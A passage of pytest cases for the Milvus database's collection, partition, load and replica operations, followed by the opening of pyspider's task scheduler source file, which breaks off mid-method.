self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first'} self.utility_wrap.has_collection(c_name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_has_collection_not_existed(self): """ target: test if collection not created method: random a collection name, create this collection then drop it, assert the value returned by has_collection method expected: False """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.drop() assert not self.utility_wrap.has_collection(c_name)[0] @pytest.mark.tags(CaseLabel.L2) def test_has_collection_multithread(self): """ target: test create collection with multi-thread method: create collection using multi-thread, expected: collections are created """ self._connect() threads_num = 4 threads = [] c_name = cf.gen_unique_str() self.init_collection_wrap(name=c_name) def has(): assert self.utility_wrap.has_collection(c_name) # assert not assert_collection(connect, collection_name) for i in range(threads_num): t = MyThread(target=has, args=()) threads.append(t) t.start() time.sleep(0.2) for t in threads: t.join() class TestHasCollectionInvalid(TestcaseBase): @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("name", ["12-s", "12 s", "(mn)", "中文", "%$#", "a".join("a" for i in range(256))]) def test_has_collection_with_invalid_collection_name(self, name): """ target: test list collections with invalid scenario method: show collection with invalid collection name expected: raise exception """ self._connect() error = {ct.err_code: 1, ct.err_msg: "Invalid collection name: {}".format(name)} self.utility_wrap.has_collection(name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_has_collection_with_empty_collection_name(self): """ target: test list collections with invalid scenario method: show collection with empty collection name expected: raise exception """ self._connect() error = {ct.err_code: -1, ct.err_msg: '`collection_name` value is illegal'} self.utility_wrap.has_collection('', check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_has_collection_with_none_collection_name(self): """ target: test list collections with invalid scenario method: show collection with no collection name expected: raise exception """ self._connect() error = {ct.err_code: -1, ct.err_msg: '`collection_name` value None is illegal'} self.utility_wrap.has_collection(None, check_task=CheckTasks.err_res, check_items=error) class TestListCollections(TestcaseBase): """ ****************************************************************** The following cases are used to test `utility.list_collections()` function ****************************************************************** """ @pytest.mark.tags(CaseLabel.L0) def test_list_collections_multi_collections(self): """ target: test list collections method: create collection, assert the value returned by list_collections method expected: True """ self._connect() collection_num = 50 collection_names = [] for i in range(collection_num): collection_name = cf.gen_unique_str() collection_names.append(collection_name) self.init_collection_wrap(name=collection_name) for i in range(collection_num): assert collection_names[i] in self.utility_wrap.list_collections()[0] self.utility_wrap.drop_collection(collection_names[i]) @pytest.mark.tags(CaseLabel.L2) def test_list_collections_without_connection(self): """ target: test list collections, without connection method: calling list collections with correct params, with a disconnected instance expected: list collections raise exception """ self._connect() self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first'} self.utility_wrap.list_collections(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_list_collections_multithread(self): """ target: test list collection with multi-threads method: list collection using multi-threads expected: list collections correctly """ self._connect() threads_num = 10 threads = [] collection_name = cf.gen_unique_str() self.init_collection_wrap(name=collection_name) def _list(): assert collection_name in self.utility_wrap.list_collections()[0] for i in range(threads_num): t = MyThread(target=_list) threads.append(t) t.start() time.sleep(0.2) for t in threads: t.join() class TestLoadCollection(TestcaseBase): """ ****************************************************************** The following cases are used to test `collection.load()` function ****************************************************************** """ @pytest.mark.tags(CaseLabel.L0) def test_load_collection_after_index(self): """ target: test load collection, after index created method: insert and create index, load collection with correct params expected: no error raised """ self._connect() collection_w = self.init_collection_wrap() data = cf.gen_default_list_data() collection_w.insert(data) collection_w.create_index(ct.default_float_vec_field_name, default_index_params, index_name=ct.default_index_name) collection_w.load() collection_w.release() @pytest.mark.tags(CaseLabel.L1) def test_load_collection_after_index_binary(self): """ target: test load binary_collection, after index created method: insert and create index, load binary_collection with correct params expected: no error raised """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema) df, _ = cf.gen_default_binary_dataframe_data(ct.default_nb) mutation_res, _ = collection_w.insert(data=df) collection_w.create_index(ct.default_binary_vec_field_name, default_binary_index_params) collection_w.load() collection_w.release() @pytest.mark.tags(CaseLabel.L2) def test_load_empty_collection(self): """ target: test load an empty collection with no data inserted method: no entities in collection, load and release the collection expected: load and release successfully """ self._connect() collection_w = self.init_collection_wrap() collection_w.load() collection_w.release() @pytest.mark.tags(CaseLabel.L2) def test_load_collection_dis_connect(self): """ target: test load collection, without connection method: load collection with correct params, with a disconnected instance expected: load raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) collection_wr = self.init_collection_wrap(c_name) self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first'} collection_wr.load(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_release_collection_dis_connect(self): """ target: test release collection, without connection method: release collection with correct params, with a disconnected instance expected: release raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) collection_wr = self.init_collection_wrap(c_name) self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first'} collection_wr.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_load_collection_not_existed(self): """ target: test load invalid collection method: load not existed collection expected: raise exception """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.drop() error = {ct.err_code: 0, ct.err_msg: "DescribeCollection failed: can't find collection: %s" % c_name} collection_wr.load(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_release_collection_not_existed(self): """ target: test release a not existed collection method: release with a not existed collection name expected: raise exception """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.drop() error = {ct.err_code: 0, ct.err_msg: "DescribeCollection failed: can't find collection: %s" % c_name} collection_wr.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_release_collection_not_load(self): """ target: test release collection without load method: release collection without load expected: release successfully """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.release() @pytest.mark.tags(CaseLabel.L0) def test_load_collection_after_load_release(self): """ target: test load collection after load and release method: 1.load and release collection after entities flushed 2.re-load collection expected: No exception """ self._connect() collection_w = self.init_collection_wrap() insert_data = cf.gen_default_list_data() collection_w.insert(data=insert_data) assert collection_w.num_entities == ct.default_nb collection_w.load() collection_w.release() collection_w.load() @pytest.mark.tags(CaseLabel.L2) def test_load_collection_repeatedly(self): """ target: test load collection repeatedly method: load collection twice expected: No exception """ self._connect() collection_w = self.init_collection_wrap() insert_data = cf.gen_default_list_data() collection_w.insert(data=insert_data) assert collection_w.num_entities == ct.default_nb collection_w.load() collection_w.load() @pytest.mark.tags(CaseLabel.L2) def test_load_release_collection(self): """ target: test load, release non-exist collection method: 1. load, release and drop collection 2. load and release dropped collection expected: raise exception """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.load() collection_wr.release() collection_wr.drop() error = {ct.err_code: 0, ct.err_msg: "DescribeCollection failed: can't find collection: %s" % c_name} collection_wr.load(check_task=CheckTasks.err_res, check_items=error) collection_wr.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_release_collection_after_drop(self): """ target: test release collection after drop method: insert and flush, then release collection after load and drop expected: raise exception """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.load() collection_wr.drop() error = {ct.err_code: 0, ct.err_msg: "DescribeCollection failed: can't find collection: %s" % c_name} collection_wr.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_load_partitions_release_collection(self): """ target: test release collection after load partitions method: insert entities into partitions, load partitions and release collection expected: search result empty """ self._connect() collection_w = self.init_collection_wrap() patition_w = self.init_partition_wrap(collection_wrap=collection_w, name=ct.default_tag) data = cf.gen_default_list_data() collection_w.insert(data=data, partition_name=ct.default_tag) assert collection_w.num_entities == ct.default_nb patition_w.load() collection_w.release() @pytest.fixture(scope="function", params=ct.get_invalid_strs) def get_non_number_replicas(self, request): if request.param == 1: pytest.skip("1 is valid replica number") if request.param is None: pytest.skip("None is valid replica number") yield request.param @pytest.mark.tags(CaseLabel.L2) def test_load_replica_non_number(self, get_non_number_replicas): """ target: test load collection with non-number replicas method: load with non-number replicas expected: raise exceptions """ # create, insert collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix)) df = cf.gen_default_dataframe_data() insert_res, _ = collection_w.insert(df) assert collection_w.num_entities == ct.default_nb # load with non-number replicas error = {ct.err_code: 0, ct.err_msg: f"but expected one of: int, long"} collection_w.load(replica_number=get_non_number_replicas, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("replicas", [-1, 0, None]) def test_load_replica_invalid_number(self, replicas): """ target: test load partition with invalid replica number method: load with invalid replica number expected: raise exception """ # create, insert collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix)) df = cf.gen_default_dataframe_data() insert_res, _ = collection_w.insert(df) assert collection_w.num_entities == ct.default_nb collection_w.load(replica_number=replicas) replicas = collection_w.get_replicas()[0] groups = replicas.groups assert len(groups) == 1 assert len(groups[0].shards) == 2 @pytest.mark.tags(CaseLabel.L2) def test_load_replica_greater_than_querynodes(self): """ target: test load with replicas that greater than querynodes method: load with 3 replicas (2 querynode) expected: Raise exception """ # create, insert collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix)) df = cf.gen_default_dataframe_data() insert_res, _ = collection_w.insert(df) assert collection_w.num_entities == ct.default_nb error = {ct.err_code: 1, ct.err_msg: f"no enough nodes to create replicas"} collection_w.load(replica_number=3, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.xfail(reason="https://github.com/milvus-io/milvus/issues/16562") @pytest.mark.tags(CaseLabel.L3) def test_load_replica_change(self): """ target: test load replica change method: 1.load with replica 1 2.load with a new replica number 3.release collection 4.load with a new replica expected: The second time successfully loaded with a new replica number """ # create, insert collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix)) df = cf.gen_default_dataframe_data() insert_res, _ = collection_w.insert(df) assert collection_w.num_entities == ct.default_nb collection_w.load(replica_number=1) collection_w.query(expr=f"{ct.default_int64_field_name} in [0]") # verify load different replicas thrown an exception collection_w.load(replica_number=2) one_replica, _ = collection_w.get_replicas() assert len(one_replica.groups) == 1 collection_w.release() collection_w.load(replica_number=2) two_replicas, _ = collection_w.get_replicas() log.debug(two_replicas) assert len(two_replicas.groups) == 2 collection_w.query(expr=f"{ct.default_int64_field_name} in [0]") # verify loaded segments included 2 replicas and twice num entities seg_info, _ = self.utility_wrap.get_query_segment_info(collection_w.name) seg_ids = list(map(lambda seg: seg.segmentID, seg_info)) num_entities = list(map(lambda seg: seg.num_rows, seg_info)) assert reduce(lambda x, y: x ^ y, seg_ids) == 0 assert reduce(lambda x, y: x + y, num_entities) == ct.default_nb * 2 @pytest.mark.tags(CaseLabel.L3) def test_load_replica_multi(self): """ target: test load with multiple replicas method: 1.create collection with one shards 2.insert multiple segments 3.load with multiple replicas 4.query and search expected: Query and search successfully """ # create, insert collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix), shards_num=1) tmp_nb = 1000 replica_number = 5 for i in range(replica_number): df = cf.gen_default_dataframe_data(nb=tmp_nb, start=i * tmp_nb) insert_res, _ = collection_w.insert(df) assert collection_w.num_entities == (i + 1) * tmp_nb collection_w.load(replica_number=replica_number) replicas = collection_w.get_replicas()[0] assert len(replicas.groups) == replica_number query_res, _ = collection_w.query(expr=f"{ct.default_int64_field_name} in [0, {tmp_nb}]") assert len(query_res) == 2 search_res, _ = collection_w.search(vectors, default_search_field, default_search_params, default_limit) assert len(search_res[0]) == ct.default_limit @pytest.mark.tags(CaseLabel.L3) def test_load_replica_partitions(self): """ target: test load replica with partitions method: 1.Create collection and one partition 2.Insert data into collection and partition 3.Load multi replicas with partition 4.Query expected: Verify query result """ collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix)) df_1 = cf.gen_default_dataframe_data(nb=default_nb) df_2 = cf.gen_default_dataframe_data(nb=default_nb, start=default_nb) collection_w.insert(df_1) partition_w = self.init_partition_wrap(collection_w, ct.default_tag) partition_w.insert(df_2) assert collection_w.num_entities == ct.default_nb * 2 collection_w.load([partition_w.name], replica_number=2) # default tag query 0 empty collection_w.query(expr=f"{ct.default_int64_field_name} in [0]", partition_names=[ct.default_tag], check_tasks=CheckTasks.check_query_empty) # default query 0 empty collection_w.query(expr=f"{ct.default_int64_field_name} in [3000]", check_task=CheckTasks.check_query_results, check_items={'exp_res': df_2.iloc[:1, :1].to_dict('records')}) error = {ct.err_code: 1, ct.err_msg: f"not loaded into memory"} collection_w.query(expr=f"{ct.default_int64_field_name} in [0]", partition_names=[ct.default_partition_name, ct.default_tag], check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L3) def test_load_replica_non_shard_leader(self): """ target: test replica groups which one of QN is not shard leader method: 1.deploy cluster with 5 QNs 2.create collection with 2 shards 3.insert and flush 4.load with 2 replica number 5.insert growng data 6.search and query expected: Verify search and query results """ # create and insert entities collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix), shards_num=2) df = cf.gen_default_dataframe_data() collection_w.insert(df) assert collection_w.num_entities == ct.default_nb # load with multi replica and insert growing data collection_w.load(replica_number=2) df_growing = cf.gen_default_dataframe_data(100, start=ct.default_nb) collection_w.insert(df_growing) replicas = collection_w.get_replicas()[0] # verify there are 2 groups (2 replicas) assert len(replicas.groups) == 2 log.debug(replicas) for group in replicas.groups: # verify each group have 3 shards assert len(group.shards) == 2 shard_leaders = [] # verify one group has 3 querynodes, and one of the querynode isn't shard leader if len(group.group_nodes) == 3: for shard in group.shards: shard_leaders.append(shard.shard_leader) assert len(shard_leaders) == 2 # Verify 2 replicas segments loaded # https://github.com/milvus-io/milvus/issues/16598 seg_info, _ = self.utility_wrap.get_query_segment_info(collection_w.name) seg_ids = list(map(lambda seg: seg.segmentID, seg_info)) assert reduce(lambda x, y: x ^ y, seg_ids) == 0 # verify search successfully res, _ = collection_w.search(vectors, default_search_field, default_search_params, default_limit) assert len(res[0]) == ct.default_limit # verify query sealed and growing data successfully exp_res = [{'int64': 0}, {'int64': 3000}] collection_w.query(expr=f"{ct.default_int64_field_name} in [0, {ct.default_nb}]", check_task=CheckTasks.check_query_results, check_items={'exp_res': exp_res}) @pytest.mark.tags(CaseLabel.L3) def test_load_replica_multiple_shard_leader(self): """ target: test replica groups which one of QN is shard leader of multiple shards method: 1.deploy cluster with 5 QNs 2.create collection with 3 shards 3.insert and flush 4.load with 2 replica number 5.insert growng data 6.search and query expected: Verify search and query results """ # craete and insert collection_w = self.init_collection_wrap(cf.gen_unique_str(prefix), shards_num=3) df = cf.gen_default_dataframe_data() collection_w.insert(df) assert collection_w.num_entities == ct.default_nb # load with multi replicas and insert growing data collection_w.load(replica_number=2) df_growing = cf.gen_default_dataframe_data(100, start=ct.default_nb) collection_w.insert(df_growing) # verify replica infos replicas, _ = collection_w.get_replicas() log.debug(replicas) assert len(replicas.groups) == 2 for group in replicas.groups: # verify each group have 3 shards assert len(group.shards) == 3 # verify one group has 2 querynodes, and one of the querynode subscripe 2 dml channel shard_leaders = [] if len(group.group_nodes) == 2: for shard in group.shards: shard_leaders.append(shard.shard_leader) assert len(shard_leaders) == 3 and len(set(shard_leaders)) == 2 # Verify 2 replicas segments loaded seg_info, _ = self.utility_wrap.get_query_segment_info(collection_w.name) seg_ids = list(map(lambda seg: seg.segmentID, seg_info)) assert reduce(lambda x, y: x ^ y, seg_ids) == 0 # Verify search successfully res, _ = collection_w.search(vectors, default_search_field, default_search_params, default_limit) assert len(res[0]) == ct.default_limit # Verify query sealed and growing entities successfully collection_w.query(expr=f"{ct.default_int64_field_name} in [0, {ct.default_nb}]", check_task=CheckTasks.check_query_results, check_items={'exp_res': [{'int64': 0}, {'int64': 3000}]}) class TestReleaseAdvanced(TestcaseBase): @pytest.mark.tags(CaseLabel.L0) def test_release_collection_during_searching(self): """ target: test release collection during searching method: insert entities into collection, flush and load collection, release collection during searching expected: raise exception """ self._connect() data = cf.gen_default_list_data() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.insert(data=data) assert collection_wr.num_entities == ct.default_nb collection_wr.load() search_res, _ = collection_wr.search(vectors, default_search_field, default_search_params, default_limit, _async=True) collection_wr.release() error = {ct.err_code: 1, ct.err_msg: 'collection %s was not loaded into memory' % c_name} collection_wr.search(vectors, default_search_field, default_search_params, default_limit, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_release_partition_during_searching(self): """ target: test release partition during searching method: insert entities into partition, flush and load partition, release partition during searching expected: raise exception """ self._connect() partition_num = 1 collection_w = self.init_collection_general(prefix, True, 10, partition_num, is_index=True)[0] par = collection_w.partitions par_name = par[partition_num].name par[partition_num].load() limit = 10 collection_w.search(vectors, default_search_field, default_search_params, limit, default_search_exp, [par_name]) par[partition_num].release() collection_w.search(vectors, default_search_field, default_search_params, limit, default_search_exp, [par_name], check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "partition has been released"}) @pytest.mark.tags(CaseLabel.L0) def test_release_indexed_collection_during_searching(self): """ target: test release indexed collection during searching method: insert entities into partition, flush and load partition, release collection during searching expected: raise exception """ self._connect() partition_num = 1 collection_w = self.init_collection_general(prefix, True, 10, partition_num, is_index=True)[0] par = collection_w.partitions par_name = par[partition_num].name par[partition_num].load() limit = 10 collection_w.search(vectors, default_search_field, default_search_params, limit, default_search_exp, [par_name], _async=True) collection_w.release() error = {ct.err_code: 1, ct.err_msg: 'collection %s was not loaded into memory' % collection_w.name} collection_w.search(vectors, default_search_field, default_search_params, limit, default_search_exp, [par_name], check_task=CheckTasks.err_res, check_items=error) class TestLoadPartition(TestcaseBase): """ ****************************************************************** The following cases are used to test `load_collection` function ****************************************************************** """ @pytest.fixture( scope="function", params=gen_simple_index() ) def get_simple_index(self, request, connect): # if str(connect._cmd("mode")) == "CPU": # if request.param["index_type"] in index_cpu_not_support(): # pytest.skip("sq8h not support in cpu mode") return request.param @pytest.fixture( scope="function", params=gen_binary_index() ) def get_binary_index(self, request): log.info(request.param) if request.param["index_type"] in ct.binary_support: return request.param else: pytest.skip("Skip index Temporary") @pytest.mark.tags(CaseLabel.L0) def test_load_partition_after_index_binary(self, get_binary_index): """ target: test load binary_collection, after index created method: insert and create index, load binary_collection with correct params expected: no error raised """ self._connect() partition_num = 1 collection_w = self.init_collection_general(prefix, True, ct.default_nb, partition_num, is_binary=True, is_index=True)[0] for metric_type in ct.binary_metrics: log.info(metric_type) get_binary_index["metric_type"] = metric_type if get_binary_index["index_type"] == "BIN_IVF_FLAT" and metric_type in ct.structure_metrics: error = {ct.err_code: -1, ct.err_msg: 'Invalid metric_type: SUBSTRUCTURE, ' 'which does not match the index type: %s' % metric_type} collection_w.create_index(ct.default_binary_vec_field_name, get_binary_index, check_task=CheckTasks.err_res, check_items=error) else: collection_w.create_index(ct.default_binary_vec_field_name, get_binary_index) par = collection_w.partitions par[partition_num].load() @pytest.mark.tags(CaseLabel.L2) def test_load_partition_dis_connect(self): """ target: test load partition, without connection method: load partition with correct params, with a disconnected instance expected: load raise exception """ self._connect() collection_w = self.init_collection_wrap() partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) partition_w.load() self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first.'} partition_w.load(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_release_partition_dis_connect(self, connect, dis_connect, collection): """ target: test release collection, without connection method: release collection with correct params, with a disconnected instance expected: release raise exception """ self._connect() collection_w = self.init_collection_wrap() partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) partition_w.load() self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first.'} partition_w.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_load_partition_not_existed(self, connect, collection): """ target: test load partition for invalid scenario method: load not existed partition expected: raise exception and report the error """ self._connect() collection_w = self.init_collection_wrap() partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) partition_w.drop() error = {ct.err_code: 0, ct.err_msg: 'partitionID of partitionName:%s can not be find' % partition_name} partition_w.load(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_release_partition_not_load(self): """ target: test release partition without load method: release partition without load expected: release success """ self._connect() collection_w = self.init_collection_wrap() partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) partition_w.release() @pytest.mark.tags(CaseLabel.L2) def test_load_release_after_drop(self, connect, collection): """ target: test load and release partition after drop method: drop partition and then load and release it expected: raise exception """ self._connect() collection_w = self.init_collection_wrap() partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) partition_w.drop() error = {ct.err_code: 0, ct.err_msg: 'partitionID of partitionName:%s can not be find' % partition_name} partition_w.load(check_task=CheckTasks.err_res, check_items=error) partition_w.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_release_partition_after_drop(self, connect, collection): """ target: test release collection after drop method: insert and flush, then release collection after load and drop expected: raise exception """ self._connect() collection_w = self.init_collection_wrap() partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) partition_w.drop() error = {ct.err_code: 0, ct.err_msg: 'partitionID of partitionName:%s can not be find' % partition_name} partition_w.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_load_release_after_collection_drop(self, connect, collection): """ target: test release collection after drop method: insert and flush, then release collection after load and drop expected: raise exception """ self._connect() collection_w = self.init_collection_wrap() name = collection_w.name partition_name = cf.gen_unique_str(prefix) description = cf.gen_unique_str("desc_") partition_w = self.init_partition_wrap(collection_w, partition_name, description=description, check_task=CheckTasks.check_partition_property, check_items={"name": partition_name, "description": description, "is_empty": True, "num_entities": 0} ) collection_w.drop() error = {ct.err_code: 0, ct.err_msg: "HasPartition failed: can\'t find collection: %s" % name} partition_w.load(check_task=CheckTasks.err_res, check_items=error) partition_w.release(check_task=CheckTasks.err_res, check_items=error)
scheduler.py
#!/usr/bin/env python # -*- encoding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<i@binux.me> # http://binux.me # Created on 2014-02-07 17:05:11 import itertools import json import logging import os import time from collections import deque from six import iteritems, itervalues from six.moves import queue as Queue from pyspider.libs import counter, utils from .task_queue import TaskQueue logger = logging.getLogger('scheduler') class Scheduler(object): UPDATE_PROJECT_INTERVAL = 5 * 60 default_schedule = { 'priority': 0, 'retries': 3, 'exetime': 0, 'age': -1, 'itag': None, } LOOP_LIMIT = 1000 LOOP_INTERVAL = 0.1 ACTIVE_TASKS = 100 INQUEUE_LIMIT = 0 EXCEPTION_LIMIT = 3 DELETE_TIME = 24 * 60 * 60 DEFAULT_RETRY_DELAY = { 0: 30, 1: 1*60*60, 2: 6*60*60, 3: 12*60*60, '': 24*60*60 } def __init__(self, taskdb, projectdb, newtask_queue, status_queue, out_queue, data_path='./data', resultdb=None): self.taskdb = taskdb self.projectdb = projectdb self.resultdb = resultdb self.newtask_queue = newtask_queue self.status_queue = status_queue self.out_queue = out_queue self.data_path = data_path self._send_buffer = deque() self._quit = False self._exceptions = 0 self.projects = dict() self._force_update_project = False self._last_update_project = 0 self.task_queue = dict() self._last_tick = int(time.time()) self._sent_finished_event = dict() self._cnt = { "5m_time": counter.CounterManager( lambda: counter.TimebaseAverageEventCounter(30, 10)), "5m": counter.CounterManager( lambda: counter.TimebaseAverageWindowCounter(30, 10)), "1h": counter.CounterManager( lambda: counter.TimebaseAverageWindowCounter(60, 60)), "1d": counter.CounterManager( lambda: counter.TimebaseAverageWindowCounter(10 * 60, 24 * 6)), "all": counter.CounterManager( lambda: counter.TotalCounter()), } self._cnt['1h'].load(os.path.join(self.data_path, 'scheduler.1h')) self._cnt['1d'].load(os.path.join(self.data_path, 'scheduler.1d')) self._cnt['all'].load(os.path.join(self.data_path, 'scheduler.all')) self._last_dump_cnt = 0 def _update_projects(self): '''Check project update''' now = time.time() if ( not self._force_update_project and self._last_update_project + self.UPDATE_PROJECT_INTERVAL > now ): return for project in self.projectdb.check_update(self._last_update_project): self._update_project(project) logger.debug("project: %s updated.", project['name']) self._force_update_project = False self._last_update_project = now def _update_project(self, project): '''update one project''' if project['name'] not in self.projects: self.projects[project['name']] = {} self.projects[project['name']].update(project) self.projects[project['name']]['md5sum'] = utils.md5string(project['script']) if not self.projects[project['name']].get('active_tasks', None): self.projects[project['name']]['active_tasks'] = deque(maxlen=self.ACTIVE_TASKS) # load task queue when project is running and delete task_queue when project is stoped if project['status'] in ('RUNNING', 'DEBUG'): if project['name'] not in self.task_queue: self._load_tasks(project['name']) self.task_queue[project['name']].rate = project['rate'] self.task_queue[project['name']].burst = project['burst'] # update project runtime info from processor by sending a _on_get_info # request, result is in status_page.track.save self.on_select_task({ 'taskid': '_on_get_info', 'project': project['name'], 'url': 'data:,_on_get_info', 'status': self.taskdb.SUCCESS, 'fetch': { 'save': ['min_tick', 'retry_delay'], }, 'process': { 'callback': '_on_get_info', }, }) else: if project['name'] in self.task_queue: self.task_queue[project['name']].rate = 0 self.task_queue[project['name']].burst = 0 del self.task_queue[project['name']] if project not in self._cnt['all']: self._update_project_cnt(project['name']) scheduler_task_fields = ['taskid', 'project', 'schedule', ] def _load_tasks(self, project): '''load tasks from database''' self.task_queue[project] = TaskQueue(rate=0, burst=0) for task in self.taskdb.load_tasks( self.taskdb.ACTIVE, project, self.scheduler_task_fields ): taskid = task['taskid'] _schedule = task.get('schedule', self.default_schedule) priority = _schedule.get('priority', self.default_schedule['priority']) exetime = _schedule.get('exetime', self.default_schedule['exetime']) self.task_queue[project].put(taskid, priority, exetime) logger.debug('project: %s loaded %d tasks.', project, len(self.task_queue[project])) if self.projects[project]['status'] in ('RUNNING', 'DEBUG'): self.task_queue[project].rate = self.projects[project]['rate'] self.task_queue[project].burst = self.projects[project]['burst'] else: self.task_queue[project].rate = 0 self.task_queue[project].burst = 0 if project not in self._cnt['all']: self._update_project_cnt(project) self._cnt['all'].value((project, 'pending'), len(self.task_queue[project])) def _update_project_cnt(self, project): status_count = self.taskdb.status_count(project) self._cnt['all'].value( (project, 'success'), status_count.get(self.taskdb.SUCCESS, 0) ) self._cnt['all'].value( (project, 'failed'), status_count.get(self.taskdb.FAILED, 0) + status_count.get(self.taskdb.BAD, 0) ) self._cnt['all'].value( (project, 'pending'), status_count.get(self.taskdb.ACTIVE, 0) ) def task_verify(self, task): ''' return False if any of 'taskid', 'project', 'url' is not in task dict or project in not in task_queue ''' for each in ('taskid', 'project', 'url', ): if each not in task or not task[each]: logger.error('%s not in task: %.200r', each, task) return False if task['project'] not in self.task_queue: logger.error('unknown project: %s', task['project']) return False return True def insert_task(self, task): '''insert task into database''' return self.taskdb.insert(task['project'], task['taskid'], task) def update_task(self, task): '''update task in database''' return self.taskdb.update(task['project'], task['taskid'], task) def put_task(self, task): '''put task to task queue''' _schedule = task.get('schedule', self.default_schedule) self.task_queue[task['project']].put( task['taskid'], priority=_schedule.get('priority', self.default_schedule['priority']), exetime=_schedule.get('exetime', self.default_schedule['exetime']) ) def send_task(self, task, force=True): ''' dispatch task to fetcher out queue may have size limit to prevent block, a send_buffer is used ''' try: self.out_queue.put_nowait(task) except Queue.Full: if force: self._send_buffer.appendleft(task) else: raise def _check_task_done(self): '''Check status queue''' cnt = 0 try: while True: task = self.status_queue.get_nowait() # check _on_get_info result here if task.get('taskid') == '_on_get_info' and 'project' in task and 'track' in task: if task['project'] not in self.projects: continue self.projects[task['project']].update(task['track'].get('save') or {}) logger.info( '%s on_get_info %r', task['project'], task['track'].get('save', {}) ) continue elif not self.task_verify(task): continue self.on_task_status(task) cnt += 1 except Queue.Empty: pass return cnt merge_task_fields = ['taskid', 'project', 'url', 'status', 'schedule', 'lastcrawltime'] def _check_request(self): 